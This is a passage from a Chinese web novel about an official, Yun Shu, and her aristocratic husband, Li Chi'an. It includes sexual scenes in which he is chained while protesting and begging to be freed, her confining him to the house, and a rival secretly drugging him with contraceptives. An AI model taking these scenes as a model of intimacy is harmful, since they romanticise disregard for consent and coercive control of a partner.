他一时没反应过来,不知道这是何物,只觉得睡觉的时候会不舒服。 随着他的鞋被取下来,冰凉的镣铐拷在他的脚脖子上,冰凉凉的,忍不住瑟缩了一下。 “妻主不会是想要锁着我吧?”他有些不满。 “弄下来吧,有些硌人。”他抬手示意给妻主看,露出白净的手臂来,眉眼还带着妩媚,“还冰凉凉的。” 他顺着妻主的手臂贴在她身上,低低地说道,“妻主哪次会顾着我的愿,我又躲不了,何必还要拿这个来折磨我呢?” “妻主喜欢看人跳舞吗?我学了一些,跳给妻主看好不好?”他撑着她的肩膀上,身上的链子也跟着动着,身上的衣裳也散开了一点,低低劝说她,也因为这些话慢慢红了脸。 跳舞,跳那些艳舞吗?婚前那几个月,的确有人教他如何讨好妻主,如何教他怎么样的姿势才能受孕,怎么样伺候妻主衣着,又如何温柔小意。 宫里来的人到底花样多一些,但也没人告诉他这些。 “妻主不好握住我的手腕吧。” 那链子细细的,却也不好扯。 “白日里的事,妻主都没有跟我说对不起呢。” 随着他被压着榻上,身下是绣着缠枝莲的被褥,双手被锁到头顶上。 这让他十分不安。 他微微蹙眉,委屈道,“我不喜欢这样。” 毫无支撑,像是被人悬着一样,不能躲一下,也不能去遮掩。 被人触碰着,也只能发抖。 他腰身那本就敏感,再上面一点更是碰不得。 他甚至不能接受。 最多能接受的不过是穿一些露骨放荡的衣裳,再让人偷偷去买一些香料回来给妻主添点乐趣。 其它的,李持安接受不了一点。他生来就应该保守内敛,就应该端着身子。他是世族贵卿,虽说现在落魄了,但怎么可能接受这种任人把玩没有脸面的东西。 跟低贱的侍子有什么区别。为了爬床不择手段,专学一些花楼里勾引人的手段。 “你不是要怀孩子吗?”女人扯开他的衣带,坐在床边,低眸说道,“明日就放开了,又不会一直锁着你。” “不……不要”他慌张似的动着身子,带动链子,只不过是从外侧滚到了里侧,茫然无措地想要往里爬,随后就再也动不了。 “呜……” 云竖低眸看着他这般羞耻难耐的做派,目光又挪移到他的腰上,看着那的衣裳被翻起来,露出薄薄的腹部。 那里白雪,柔软。 居然能冒出五个孩子来。 这里的人生孩子鲜少有难产的,似乎他们天生就该生孩子,婚后一年便急急生下一个孩子来巩固地位。 她恍惚地想到,听谁说孕夫的身子才更柔软。 是还在扬州时,听喝酒的侍卫说的。 她没有扯下帷幔,而是伸手直接把人捞了过来。 似乎因为刚刚的动作,他身上的力气没了大半。 昏黄的烛光下,云竖轻轻扯开他身上有些露骨的衣裳,嗤笑道,“这衣裳何时买的” 白日里裹得严严实实的,夜里却偷偷去买了这些遮不住身体的衣裳。 听到她的话,他微微抿唇,纤细浓密的睫毛颤了颤,羞得不想面对她,把脸埋在枕巾上,胸膛微微起伏着。 被束住的手腕那被磨得发麻。 这种紧紧束缚着他那可怜的神经,他实在有些受不了,低低地开始哭着,哀求她解开,说着随她做什么,只要把这些东西解开。 像是受到了天大的委屈一般。 夜里,他被抱着离开床榻,浑身赤裸。 放在小小窄窄方方正正的香几上时,贴在那冰冷的桌面上,浑身战栗了一下,腰悬在空中。 浑身像是湿透了一般,不过是被汗打湿了而已。 他哭得可怜,哭得说不出一句话来。 并非没有力气,而是羞愤。 他一 边想着,难怪妻主之前有二十多的侍从,一个一个试,这些定然熟稔,自然喜欢玩这些东西。 她白日里的那般模样不过是装的。 他不自觉绷紧了脖颈,不敢直视妻主,只抖抖索索道,“去床上……” 昏黄的光线下,他无意识地睁着眼睛,木呆呆地,潮热的呼吸一吸一吐,红润饱满的唇微微张着。 眼泪不受控制地簌簌落下来,整张面容不再清透端艳,而像是个吸食人命的妖精。 细细的低吟声从口中溢散出来,李持安来不及去想这些会不会被人听到,唯一的注意力只有在妻主身上。…… 两个时辰过后。 他瘫软在床榻上,身下的被褥已经湿了,外袍披盖着滑腻腻的身上,阖着眼睛,格外疲倦。 手腕上的镯子被取了下来,但是脚链还在,在床榻上细细蔓延着,拖在地上。 意识到妻主过来,他瑟缩了一下,紧紧贴在被褥上,委屈地呜咽着,无意识地说着零散的话。 随着被抱起来,他听到地上那挪移的声音。 早早备好热水的侍从低垂着眸,看着地上的细链子,还有正君无力垂下来的腿,悄悄红了脸。 往日里正君再端庄内敛不过,却成了这样,没有任何力气端着。 见女君抱着正君走过,他悄悄地去看,便见着女君的眼尾带着薄薄的绯色,往日向来正经端正的眼睛像是溺了水一般,柔得宛若湖水一般。 女君有一张好皮囊,往日里过于严谨,总让人不敢去直视她的面容。 瞧着薄情寡义,又有些凉薄。 屏风内,侍从听到了正君轻轻地低呼声。 那声音细细地,轻轻地,活像是要往人心里钻一般。 侍从紧接着退了出去。 …… 早上。 屋内昏暗暗的,没有一点光线射进来。 床榻上只有李持安一人,帷幔将床榻上遮得实在。 他也被被褥遮得严实,整个人都缩在里面,轻轻的呼吸着,保持着一个动作。 他睡得疲倦,浑身的难受让他睡得不安稳,却也没让他醒过来。 眼见着要吃午饭,淞朱还是推了门进去,绕过屏风打算去叫醒公子。 淞朱掀开帷幔,轻轻扯开一点被褥,看着被蒙得发红的脸。 那脸上带着浓郁的疲倦,还有遮都遮不住的风情妩媚,哪里还有往日里的端庄。 他惊了一下,犹豫要不要叫醒公子。 公子这般模样想来还要睡到下午。 淞朱很快退出屋内,只是让人时刻备着食物。 下午。 李持安是被饿醒的。 他费力地撑着身子坐起来,浑身难受。 “女君真是不体谅公子。”淞朱取过膏药涂抹在公子的腰上。 那药膏昂贵,涂抹上很快就会溶解下去,也不会有什么药味。 本就被贵卿争着买,平日里涂抹着可让身子更白净更细腻一些,也不会让身子难受。 李持安没有说话,只是趴在堆高的枕头上,腰身时不时战栗着。 他还是有些睡不够,只喝一些汤垫着肚腹。 这些本就是该受着的,难不成让妻主去找其他男人 “奴刚刚收到了来扬州的信和一些物件,是女君的父亲给公子的。” “写了什么?” “等公子来看。”淞朱示意旁边的侍从拿过来。 “送了什么物件来”李持安问道。 淞朱犹豫道,“石榴玉簪,百子图锦缎,还有玉质的桃子,还有一些时兴的衣料。” “公子才嫁进来多久,怎么能催着公子怀子呢?” “迟早要催的,说不定日后还要继续催。”李持安起身拢起身上的衣裳,将信接了过来。 里面不过是嘱咐他好好伺候妻主,早日怀子,说他身份低了就不要刻意遵守那些繁文缛节,莫要端着身子,还暗示他纳侍。 他低垂着眸,嗓音莫名有些冷,“烧了去。” 淞朱连忙接过来,起身去将信烧了。 旁边侍从见了,不敢吭声。 毕竟这个府上还是正君说事,主君在扬州。 况且女君又宠爱正君,俨然没有纳侍的意愿。 很快地,李持安离了床榻,撑着身子开始处理府上铺子的事情。 侍从送来中药来,李持安瞥了那一眼,就收了回来。 “不想喝。”他抱怨道。 “这是主君安排的,说是有利于正君怀子。” 他身体又没问题,喝不喝都是迟早的事情,何必早早喝这些东西。 这一月都还未到。 能看出什么来。 他还是接了过来喝下去,不想过早得罪妻主的父亲。 侍从接过来,便退出了屋内。 屋内遮得严实,一点风也吹不进来,生怕正君生病。 蜡烛被点起来,他披着外袍,模样格外素净。 李持安忍着腰上的酸软,持着毛笔写着,整理好这些后,又倚靠在软榻上歇着。 他想着,等明日再去树规矩,今日连话也说不出来。 他不禁埋怨道,埋怨妻主不节制,欺负过后就不再管他,自己早早去了宫内。 第63章 第63章祈福 从翰林早早回来的云竖脱下官服,在书房待了片刻后,便去了后院。 屋内。 少年只穿着薄薄的衣裳跪坐在榻上,依靠在她怀里,柔柔弱弱地,像离不开树的藤蔓,轻轻攥着她的衣裳,呼吸浅浅地。 他讨好着,缠绕着,只是顺从的承受着,乖乖地待在她怀里。 像是被驯服好的宠物一般,完全没有婚前那边刻薄倨傲的性格,像是被大雪覆盖着,只能看到白,看不到黑。 甚至看不到他有意刁难侍从的手段。 云竖低头抚摸着他的面容,全然是乖顺的模样,哪里能看出什么不满是情绪来。 在云竖心里,怀中的人纤柔美丽,哪哪都好,就像是白月光一般。 不会说任何让她讨厌的话,只会顺从,只会乖乖待在宅院里。 她想到在翰林掉落的花盆,眼眸微微沉了一下。 可他的乖巧又能怎么样呢? 只能把他锁在府上,不让他出去,不让他机会去见别人。 她也安排了隐秘的私宅,私宅里放着金银首饰,足以让他一个人大手大脚地活完这辈子。 等她真出了什么意外,她唯一的要求只是不让他身边有女人而已。 就是一个寡夫。 也只能是一个寡夫。 或许他还需要一个孩子,孩子能陪他。 等孩子长大,孩子也能护住他。 这些都需要他生下一个女儿。 云竖慢慢抚摸着他的腹部,开始急切起来,迫切这里怀有一个孩子。 大殷哪里有寡夫舍下孩子再嫁人呢?这会被人鄙夷,甚至唾骂。 云家也不会轻易放过他,也只会把他拘着,让他好好哺育,等着孩子长大。 怀中的人显然没有意识到妻主的行为,只是羞怯地埋在她怀里,轻轻地呼着气,想要她给自己揉揉腰,再揉揉小腿。 那里酸软不堪,让人格外烦恼。 李持安想着,未来是多么美好,生活该是如何顺遂。 妻主会一直疼爱他。 夜里也不必担心惊醒而害怕,也不必突然害怕惊雷而无处躲避,也不必害怕被人欺辱而无人护他。 “妻主饿了吗?侍身让厨房备了吃食。”他曲起被握住的小腿,双手也轻轻搭在她的手臂上,露出手腕上镯子来。 那一对金镯碰撞着,发出声音,格外突兀。 云竖低头亲了亲他的后颈,慢慢挪移着手轻轻握住他的脖颈,轻轻摩挲在那 的软肉。 “我明日去去给妻主祈福好不好?” 他被摸得发软,也对这些带着把玩的意味的触碰熟视无睹,又殷切问道,面容上带着期盼。 “……好。”云竖有些不情愿地应下来。 想着过了明日就不会答应他其他的要求,不会让他出府。 多派着人跟着,寸步不离地跟着,她不信还有谁能跟他说话。 听到满意的回答,他抬手握住她的手掌,轻轻蹭了蹭她的手心。 屋内。 女人身上的衣裳依旧整齐,而她怀中的人凌乱不堪,衣裳堆积在他的身下,露出白皙的小腿来。 …… 翌日。 李持安早早就出了府,坐上马车,戴着帷帽。 他虽然疑惑为什么那么多人跟着他,却也没说什么。 还未到寺里,突然就下起了大雨。 不少人淋湿了衣裳。 到了山脚,李持安让他们以及侍卫去换身衣裳,淞朱则陪着他上了山。 突然到来的雨让石阶上都没了人。 他在亭子中歇息,等着侍从们找上来,抬眸看着亭外的湖。 下了雨后,莫名开始冷了起来。 本以为今天是个晴天,李持安没有穿多厚的衣裳,好在马车上备了裘衣。 “你说,等到了上面,还有很多人吗?”李持安轻轻问道。 “不见下来的人,自然人都在上面。”淞朱回道,“那些随从也快过来了,公子不必心急。” 李持安抬手拿帕子捂了捂鼻子,抬眸就见到上来的人。 他让淞朱把帷帽拿过来,很快戴上。 又让淞朱把人赶走。 他想着,连着两个月好不容易出来一趟,怎么出来还能看见讨厌的人。 余光盯着那人又上前一步,他拿起石桌上的茶杯,被他直接扔了过去。 “滚远点。”他嗓音冷冷的。 那茶杯摔在地上发出声音,女人也停下了脚步。 “低贱的东西,你是瞎了眼睛吗?” 他有些不爽,被纱幔遮住的眉宇很快带着倨傲和恶劣。 他想着,那些随从怎么还没来,想着把这没眼见的人打一顿。 姚妗眼中有些不可思议,看着眼前坐着的人,跟之前见到的人完全不一样。 云竖知道自己枕边人是两幅面孔吗? 一个毫不掩饰,浑身透着世族轻慢的劲,丝毫没有因为身份的跌落而减轻半点。 说明他就是这样的人。 姚妗看着山下赶来的人,顿了顿脚,还是转身离开。 淞朱看着人终于离开,微微蹙眉。 李持安见那些随从终于过来,微微抿唇,被淞朱扶了起来。 “今日这件事,不要跟女君说。”李持安嘱咐道。 他看着走远的人,若是以前,他非要打断她半条腿不可。 一个没有任何眼力见,不懂避讳的家伙,李持安凭着她突然走过来冒犯自己,就能让人动手把人拖走。 淞朱低声应下来。 “本以为今天是个好天气。”李持安轻轻抱怨道。 他轻轻瞥过地上的碎片,绕过继续上山。 快到寺里时,慢慢下起了下雨。 淞朱打着纸伞,遮住公子,轻轻说道,“公子上去,可要收着脾气,自有随从把那些人避开。万一惹怒了神佛,可就不管用了。” 听到这话,少年微微缩了缩瞳孔,像是被这个吓到一般,很快将这句话记了下来。 他经过长廊,看着被雨打湿的牌子挂在树上,又有人开始处理下面一批的红牌。 等到了堂前,他摘下了帷帽,复而戴上面纱,轻步走到了佛前。 他先是跪坐在圆席上,摘下面纱,闭眼伏拜下去。 不过一会儿,就有人送来竹筒供人抽签问佛。 他闭着眼睛晃着竹筒抽签,求着妻主身体安健和子嗣。 很快,地上发出了声音。 李持安睁开眼睛,将竹签捡了起来。 他微微蹙眉,即便不知道如何解签,也该认得上面的三个字。 下下签。 他不自觉握紧手中的签,猛得抬头看着眼前的佛,想要再重新抽一签。 想来是不小心。 妻主年轻,正处壮年,怎么可能有问题呢? 即便今年无法孕育子嗣,也没什么。 他还年轻,身体也还健康。 鼻尖都是香火味,耳边也是敲木鱼的声音,说不来的吵闹。 他不由得心慌,又重新抽了一签。 他闭着眼睛,慢慢晃动着,想因为这样而抽出一个好签来。 很快地,一个签又落在地上。 李持安微微俯身捡起来,耳坠也因此轻轻晃着,盯着上面的三个字,骤然起身。 他恼怒着,想着这是什么签。 哪里还有咒人的东西。 淞朱跟在公子身后,想说让公子走慢一点,莫要摔跤。 求佛不过是求心安,公子何必如此较真呢? 若人人都求好签,天底下哪里有这么好的事情呢? 岂不是人人都无烦恼的事情,处处无灾祸 …… 下了山回府期间,李持安没再遇见谁。 马车上,他有些沉默,不想说话,突然想到被带回来的猫。 “那猫怎么样了?”他问道。 “还缩在屋子里,不敢出来,也让人喂食了,好在还吃。”淞朱回道。 听到街道上的热闹,李持安微微掀开窗帘子看向外面,微微偏头。 “快清明了,自然要热闹一些。也只有快在清明前,这天气如此古怪。” 说下雨就下雨,说出太阳就出太阳。 回到府上。 妻主似乎并不在意他问回来的结果,只是问他累不累。 庭院里,李持安将之前做好的香囊系在她的腰间,“里面是今日求的平安符,妻主该日日戴着才是。” 他殷切地围在她身边,她去哪里,他也跟着去哪里。 书房里。 李持安坐在一侧,抬手磨着墨,抬眸盯着妻主。 “清明时,妻主打算做什么?”他好似怯生生道。 “陪你去祭父吧。”云竖停下手上的毛笔,“这点时间回不了扬州,剩下时间便陪着你,听说清明夜里很热闹,杂戏,烟花,放灯祈福……” 他轻轻露出笑容,却又微微蹙眉。 “妻主还记得为我画过丹青吗?那副画也被收走了。”李持安小声道。 “说起来,我还是妻主的救命恩人呢,居然想用一幅画去” 他看着妻主,还是有些惊惶,还是忍不住想起那竹签。 云竖稍稍愣了一下,自然知道今天发生了什么。 她没责怪他,他倒是先害怕上了。 云竖想了想,“铺子里上了新的首饰和胭脂,我让人送了一批过来,你等会儿瞧瞧,哪些你喜欢。” “等天暖和起来,也该做春衫了。” …… 一个月下来,李持安觉得有些不对劲。 为什么他出去都会被阻拦呢? 可妻主明明还跟以往一样,一样宿在他的屋子里,一样不知节制,一样表面一套背后一套。 他又没有惹她生气,为何拘着他不允许他出府呢? 这样的疑惑一直让他等到了晚上,却迟迟不见妻主回来。 从宫里派出来的人说道,女君忙碌,让他先歇着,不必等她。 淞朱将公子扶到床上,让他坐下来,“公子该睡觉才是,说不定女君就回来了,听说都是聊一整晚的。” “明日太医就来了,公子若不好好歇着,万一诊断错了怎么办?” 前日里李持安便让妻主请太医过来,想瞧瞧自己有没有怀上孩子,想知道自己还需不需要滋补身体。 第64章 第64章骗人 屋内昏黄,少年披散着头发,微微蹙眉,坐在床榻上,面上带着不高兴。 他下意识抚摸腹部,想着也该会怀孕,那日日睡着,一日没有,两三日没有,不可能十日还没有。 淞朱放下了帷幔,又剪了灯芯,随后退出了屋内。 床榻上,李持安自觉挪到了 里侧,微微攥紧被褥,眉眼不见有什么困意。 他想着,是为什么呢? 为什么不让他出府呢? 翰林院内。 “这段时间就要开始忙起来了,圣上让我们修订法典,又好又不好的。”薛棋眉眼都是疲倦,恨不得现在就倒在地上睡过去。 她走路起来也有些有气无力。 云竖是主持修订法典的人,大理寺卿和刑部尚书也是。 在宫道上,前面有宫侍领路,红色的宫墙隐匿在黑暗中。 云竖同样有些疲倦,“习惯就好了,以后这种事情不会少。” “今日那魏野怎么脸色不对昭鹤都没有什么意见,说实话,昭鹤脾气真好,我还以为她不会把我们放在眼里。” 翰林的人都知道,魏野和昭鹤在翰林待不久,说不定下半年就离开了。 一个状元,一个探花,如今被不知道什么路子的人压着,不满也的确该有。 “你若参加了科举,那探花肯定是你的。”薛棋冷不丁说道。 她想到圣上格外看着云竖,可不就是云竖这副皮囊和谈吐,光站在那,都格外引人注目,况且云竖能力还不差。 若是殿试,圣上可能就直接让她当探花了。 云竖说道,“不要胡说。” 薛棋没吭声,怎么能是胡说呢? 草拟诏书时,那姚妗和云竖都是背后无人的,怎么光重任云竖,而姚妗却不上不下 虽说圣上有意提拔寒门,也没见姚妗有多宠臣。 薛棋突然压低声音,只让云竖听到。 “知道前朝的宠臣吗?她不高兴,就是圣上不高兴,她高兴,便能让圣上也高兴起来,瞧这手段,别人都猜她是圣上的女宠,后面被她知道了,直接将传谣言的人卸掉了下巴,拔掉了舌头。” 云竖不在意地听着,“快到宫门了。” “话说,你这几日的运气怎么越来越差了。”薛棋说着,一边抬眸看向不远处的宫门。 天已经很黑了。 云竖上了马车,便倚靠在那,眉眼带着疲倦无法遮掩的疏离。 润白的面容面无表情,浅色的眼眸内慢慢携带上冷寂。 马车轻轻晃着,在青石板始过。 街道上很安静。 到了府前,云竖从马车上下来,入府后却没有去后院。 她直接住在了前院,洗浴过后便歇下来,让小侍进来揉揉肩膀。 烛火在屏风上轻轻摇曳着,女人坐靠在椅子上,身后的侍从小心地抬手揉按着女君的肩膀。 他怯怯地看着女君这般唬人的模样,想着正君真是能忍。 过一会儿,他轻轻揉着女君的太阳穴,嗅到女君身上的气味,不受控制地红了脸。 女君还未有侍夫,等会儿会让他留下来吗? 会让他伺候女君吗? 一炷香后。 “下去吧。”她嗓音很冷。 “是。”侍从退出了屋内,关门前有些不甘心地看着坐在那虚虚拢着外袍的女君。 就差一点,他也能爬上女君的床榻。 坐靠在太师椅上,女人抬手揉了揉眉心,起身站起来。 她一半身影都隐匿在黑暗里,面上也明暗交织。 褶皱的衣袍落下来,很快平顺。 女人的身形越发颀长,薄薄的衣袍贴在身上,随而印在屏风上。 她绕过屏风躺在床榻上,不需多时就睡了过去。 蜡烛没有被熄灭,只是一直在那亮着。 …… 翌日早上。 李持安很早就已经醒来。 他被扶起来,洗漱过后坐在铜镜前梳妆。 “女君昨日可回了?” “女君歇在了前院。”淞朱梳着公子的头发,小声说道。 “听前院的人说,女君唤了侍从进去,在里面待了一个时辰,里面的灯亮了一整晚。” “女君可走了?” “已经出府了。”淞朱回道。 铜镜里的少年几乎瞬间冷了下去,眉眼带着戾气,紧紧抿着唇。 李持安将手上的镯子放了回去,慢慢吸了一口气,“去把那侍从叫过来。” 淞朱连忙应下,退出了屋内。 他凑近铜镜里,细细盯着自己的模样。 又没有变丑,又没有皱纹,妻主这么快就开始厌弃他了吗? 为何宿在前院呢? 李持安没有把那侍从放在眼里,不管在里面做什么,又能怎么样呢? 他睫毛轻轻颤抖着,告诉自己那不过是意外而已。 不过是妻主回来晚了,就近宿在了前院,不想折腾。 可他越想,越难受,越焦急,甚至接受不了。 他坐不下去,披着外袍走出去,走在月亮窗前看向庭院。 外面天色很好,不热不冷,风也凉凉的,是个阴天。 不一会儿,那侍从被叫了过来。 他跪在地上,不敢抬头,声音有些颤抖,“女君只是让奴进去案杌,没有做其他事情。” 不过这点事情,就把他叫过来。 若他真在里面待了一夜,岂不是动静更大。 侍从想着,世族的贵卿也是个妒夫,十足的妒夫,与其他人有什么不同。 什么大度,什么端庄,不过是假的,正君还不是靠在床第勾引女君留在他榻上吗? 如此嫉妒,想来也家宅不宁。 一月多未有所出,想来肚皮也是不顶事的。 “没有做其他的事情”少年的声音微微上扬,“只是案杌” 侍从连忙伏在地上,“女君昨夜里早早就歇下,没有叫任何侍从进去服侍,奴在里面不过是待了片刻,便被女君赶了出来。” 李持安低眸看着跪伏在地上的人,目光挪移到他的手上。 他的手的确好看,纤长,揉捏起来的确让人赏眼。 他突然笑了笑,静静地注视地上的人,声音轻柔却不容置疑,“往后你就去打扫庭院,知道吗?” “奴知晓。” 淞朱这时从外面进来,在公子旁边说了几句,李持安站起来越过了地上的人。 他低眸瞥了一眼地上的人,心中越发恼怒。 一个上不得台面的侍从,妻主何必去把他叫进去。 他停顿片刻,白净的小脸上净是阴郁,漆黑的眼眸更是冷冰冰的。 出了屋内,李持安换了一身衣裳去了前厅。 太医把着他的手腕,微微蹙眉。 “是还未怀上吗?”李持安声音低低地,意识到这点心都慌了一下。 这段时日如此纠缠,怎么可能还不能怀上 “正君这段时日可喝了什么,吃了什么?正君脉搏里有亏虚之象。” 他的吃食一般都有人检查,怎么可能呢?之前是那般,如今也是这般。 李持安收回了手,微微蹙眉,“去把那汤药的残渣取过来。” 一炷香后。 太医微微叹息,“这是避子汤,正君未有所孕也是正常,今后好好调养就能恢复过来。” 等太医走后,李持安的面容彻底沉了下来,被衣袖掩盖的手指紧紧攥着,指尖颤抖着,眼眸发红。 避子汤本就亏空身子,如今喝了一个月,哪里是好好调养就能好的。 说不准,他这肚皮就隆不起来,怀不了孕。 他让人去查,可等人去找时,那人早已经不见了身影。 管家说,这是新婚前同一批买进的仆从,并无什么异样。 府外的偏宅里。 一个仆从跪在男人面前,神情慌张,“主子,他知道了,如今正在找奴。” 白蔓穿着深紫的衣袍,紧紧裹着身子,坐靠在椅子上,声音柔柔的,“是吗?那就不用去了 ,那些药,他都喝了吗?” “喝了,都喝了,奴日日煎着,等他醒来后就端了过去,亲眼看着他喝的。” 白蔓听到,轻轻笑了笑,“等会会有人安排你去庄园,去那儿躲一会儿,今后再把你叫回来。” 如今他没有机会靠近云竖,自然也不能让她夫郎怀上孕。 一个不能生孕的正君,就不要怪妻主流连在外,沾花捻草,而该担忧自己会不会被休弃,那些脾性也该收敛着。 他站起来,出了府上,坐上马车离了这偏宅。 他的身形很是饱满,该细的细,该胖的胖,腰身被衣袍束得紧紧的,腰细臀翘。 稍稍一掐就能冒出水来,正是个让人滋养的年段。 虽是个寡夫,衣着却完全不像寡夫的模样。 不少人暗地里盯着这寡夫,却又不敢出手,到底侯府是他现在掌控的。 白蔓回了房间里,就听到下人说那继女又闹腾了。 他一边取下手腕上的镯子,眼眸带着阴冷,“闹腾了,不会压下去吗?这么多仆从都是摆设吗?” 下人听了,连忙应下来。 旁的侍从走上前来,“奴打听到,那位女君每月的月底就会去买一次书,顺势去首饰铺里,再然后便是买一些糕点回去。” “只要是长宁殿下的宴会,女君受邀鲜少有拒绝的。” 白蔓听着,微微笑了笑。 再等一会儿。 等那李持安闹起来。 女君定然会厌弃他。 他虽是个寡夫,不需要给他名分,更不需要对他负责,只需要去玩弄他。 哪里有女人会拒绝这种花样呢? 夜里。 云竖回来,就被管家拦住,被告知今日的事情。 她去了后院,推开屋门。 在屋内等着的人很快扑进了她的怀里,开始哭闹起来。 哭得格外凶,眼泪如何也停止不了。 云竖低头擦拭着他的眼泪,又搂着他的腰身,低声安抚他。 “我会让人去查的,不要哭了,往后也会有,好好调养身子才是重要的。” “万一……万一我怀不了呢?妻主会休弃我吗?” “不会。”她低眸亲了亲他的唇,“没有孩子,也没有关系。” 怀中的人僵了僵身子。 骗人。 明明她是想要孩子的,否则也不会那般折腾他。 他惊惶地攥住她的袖子,怕她因此厌弃自己,怕她要去找其他男人给她生孩子。 第65章 第65章边疆1 灯光下,云竖抬手轻轻握住他的手,低眸细细盯着他这副模样。 很漂亮。 哪哪都漂亮。 云竖没见过这么漂亮的人,他这副模样,也的确符合男主的模样。 养尊处优,矜贵清冷,向来高高在上的模样却变成了这副惊惶怯生生的模样。 只能依靠她,瑟缩地躲在她怀里哭诉委屈。 若是一年前,云竖根本不敢有念头能娶到原身想要娶的人。 毕竟两人身份悬殊,即便有人知道,也会说她痴心妄想,白日做梦。 如今被她弄哭,被她欺辱,满腹委屈,却只能咬牙受着,发不了一点脾气。 见妻主低头,他似乎忘了被拘在府上的事情,戚戚地盯着她,眼泪嗒嗒地落下来,抽噎着,格外委屈可怜。 正要说话,妻主像是厌烦他哭了那般把他抱起来放在床榻上,压在他身上。 床榻上,他的青丝散开铺在被褥上,脸透着绯红,浑身发软,双手轻轻抵在妻主面前,睁大眼睛,不解她要做什么。 “好了,不要哭了。”她轻轻扯开他肩膀上的衣裳,“再哭眼睛都肿了。” 随着衣裳被解开,他再如何保守愚钝也知道要发生什么。 他低喘着气,微微偏过头,轻轻呜咽着,任由妻主在脖颈处亲吻。 他攥着枕巾,眼眸湿淋淋的,不知道为何就变成把他压在这亲。 明明他在哭诉今日的事情。 难道孩子不重要吗? 还是他怀不怀孩子这件事情不重要。 接着,他的腰身被禁锢住。 妻主的手掌并不细腻,反而带着薄茧,慢慢挪移过他的腰身,总是让人有些难以启齿。 又滚烫又让人喜欢。 很快地,他没有余力去思考这些,软着身子,薄薄的皮肤染上其他东西,双手无力地攀在妻主的脖颈处,软声低泣。 “妻……妻主,等一下。” 他轻轻低呼着,被握住手腕固定在头顶上,双腿曲起来,浑身抖着。 两个时辰后。 被抱着洗干净的李持安伏在她的怀里,张口咬住了她脖颈处的软肉,随后松开,舔了舔那,轻轻呜咽着。 他迷迷糊糊地想着,一定要找到那人是谁,非得扒了那个人的皮。 他脸上的泪水已经被擦干,睫毛却依旧黏湿在一块,浑身都透着软香,微微睁开眼睛无意识地蹭了蹭女人的下颚。 绵软无力的腰身被女人紧紧抱着,也能缓和那一点酸痛。 重新回到床榻上,他被压着亲,也无意识地挣扎着,动作很轻,一点用也没有。 挣扎无果后,他被撬开齿贝,下意识迎合着,红润饱满的唇带着柔色。 不过一会儿,里面就发出散碎的声音,殷红湿滑的小舌在里面若隐若现。 陷在被褥里的他低低求饶着,求她放过自己,明日再亲再抱也好。 反正他都被她拘在府上,什么时候回来都能看到他,对他做什么也不会有人质疑,甚至府上的那些仆从人人都会站在她那一边。 “乖,张开。”女人低声劝诱他,不容置疑。 迷迷糊糊的他乖巧地张开,想着妻主果然变了很多。 她之前不会这般跟他说话的,向来顺着他,说话都不敢重点,把他当宝宠着,婚前更是亲不敢亲,抱也不敢抱。如今成婚后,在他身上的花样越来越多,之前的做派全然是假的,哪里还有之前那般守礼古板。 果然人有权有势后,就要变了。 现在都要关着他了,甩她的官威。 若母亲还在京都,她定然不会做这些,可怜他如今胳膊拗不过大腿,又嫁给她,彻底被人抓得死死的。 …… 转而一个月后。 本以为能够歇息的云竖等着下朝后就回府,冷不丁就接到了去边疆安抚民心的指令。 朝堂上,云竖看向主动提出这个建议的姚妗,她此刻很得意。 她想到这一月里,这人时不时出现在她的府邸四周,又是她名义的铺子,又是她必经的道路。 哪里会看不出她什么企图。 云竖想着,她真是死猪不怕开水烫,明明现在她的官职比姚妗高,虽然她后背无人撑腰,但是要整姚妗也不是不行。 本想着她是女主,也不必与她太过针锋相对。 云竖接下指令,站直身子,面上慢慢覆上一场淡淡的冷意。 那姚妗就别怪她坏了她往后的前程。 退朝后。 昭鹤与她走在一块。 她突然说道,“我要成亲了,婚期是两个月后。” 云竖还想着怎么折腾那姚妗,听到她的话愣了一下,“恭喜。” “听说边疆还在打,你又是御前的翰林,得小心一点才好。” 云竖总是待在圣上身边,自然更了解边疆的情况。 “来往将近两月,说不定我能赶上你的婚礼。”云竖说起了其他。 “只不过,我一走两月,还得请你帮我帮衬一下府上。”云竖难得缓和语气道,“内人笨拙无知,无人照看,我心有担忧。” 昭鹤连忙应下,“这我自然会帮你。你打算何日启程” “三日后吧。”云竖说道。 明日是长宁殿下的宴会,特意邀请她,姚妗也会去。 她心术不正念着别人家的夫郎,云竖自然也把她的心思收一收,让她趁早娶夫。 这日。 云竖与昭鹤分开后就回了府。 退朝的时间还早。 云竖回去后,李持安还在榻上睡着,睡得格外沉。 守在门外的淞朱见女君突然这么早回来,有些慌张。 想着要不要现在去将公子叫醒。 “不用跟进去。”云竖说道。 她推开门,屋内依旧昏昏沉沉的。 窗户紧闭着,帷幔将床榻上的人遮得严严实实。 床榻上的人听到开门的声音,翻了一个身,带着轻轻地低吟声。 他声音很软,带着埋怨,“不是说了不要来叫我吗?” 云竖没有先去掀开帷幔,而是走到屏风后脱下官服。 她换上了常服,这才掀开帷幔坐在床边,轻轻扯下他的被褥,抚摸着他的脸。 “妻主怎么回来了?”他脸上带着讨好之意。 他想要起身,却迫于身上无力,只好轻轻扯着她的衣裳,让她俯下身来。 “都怪妻主昨日太 过分了。“他蹭了蹭她的手心,双手握住她的手,声音轻轻道。 “抱抱我,揉揉我的腰吧,它都要折了。”他轻轻央求道,温软的小脸上带着绯红。 云竖就着俯下去的动作,抬手将他抱在怀里坐直,拖着他的身子紧紧抱在怀里。 她轻轻揉着他的腰身,他的腰很细,云竖一只手就能覆盖。 李持安微微仰头蹭了蹭她的下颚,枕在她的肩上,轻轻呼吸着,腰身时不时颤抖,连带着全身也抖一下。 “妻主今日,怎么这么早回来了?”他软声道,抬手轻轻攥住她的衣襟,低眸盯着那咬出来的痕迹。 昨日里妻主太过分,李持安往那咬了一口。 真是稀奇,也是舍得回来了。 平日夜里才能见到她,白日里去哪里见她。 云竖罕见地有些心虚,一时稍稍用了点力气。 他便立马抱怨道,“疼。” “怎么连这个都不乐意了,明明是妻主弄出来的。” 白日里身子不爽利,哪哪都不舒服,又不能一直待在屋内。 他只能安慰自己,如今不过是新婚,夜里过分一些也是正常。 他在她耳边轻轻说着,潮湿的呼气散在她的脖颈处,指尖轻轻滑过她的手臂,格外骄矜。 云竖不语,只是帮他揉着,也没有去帮他整理身上愈发凌乱的里衣。 她握住他的小腿,帮他揉着,怀中的人有些受不了,埋在她的脖颈处轻轻喘着。 不想要她碰着,可又实在喜欢那被揉着。 他双手攀着她的脖颈,肩膀上的衣裳滑落到臂弯处,格外依恋抱着自己的女君。 好喜欢。 他轻轻眯着眼睛,仰头亲了亲妻主,眸中尽是深深的依赖。 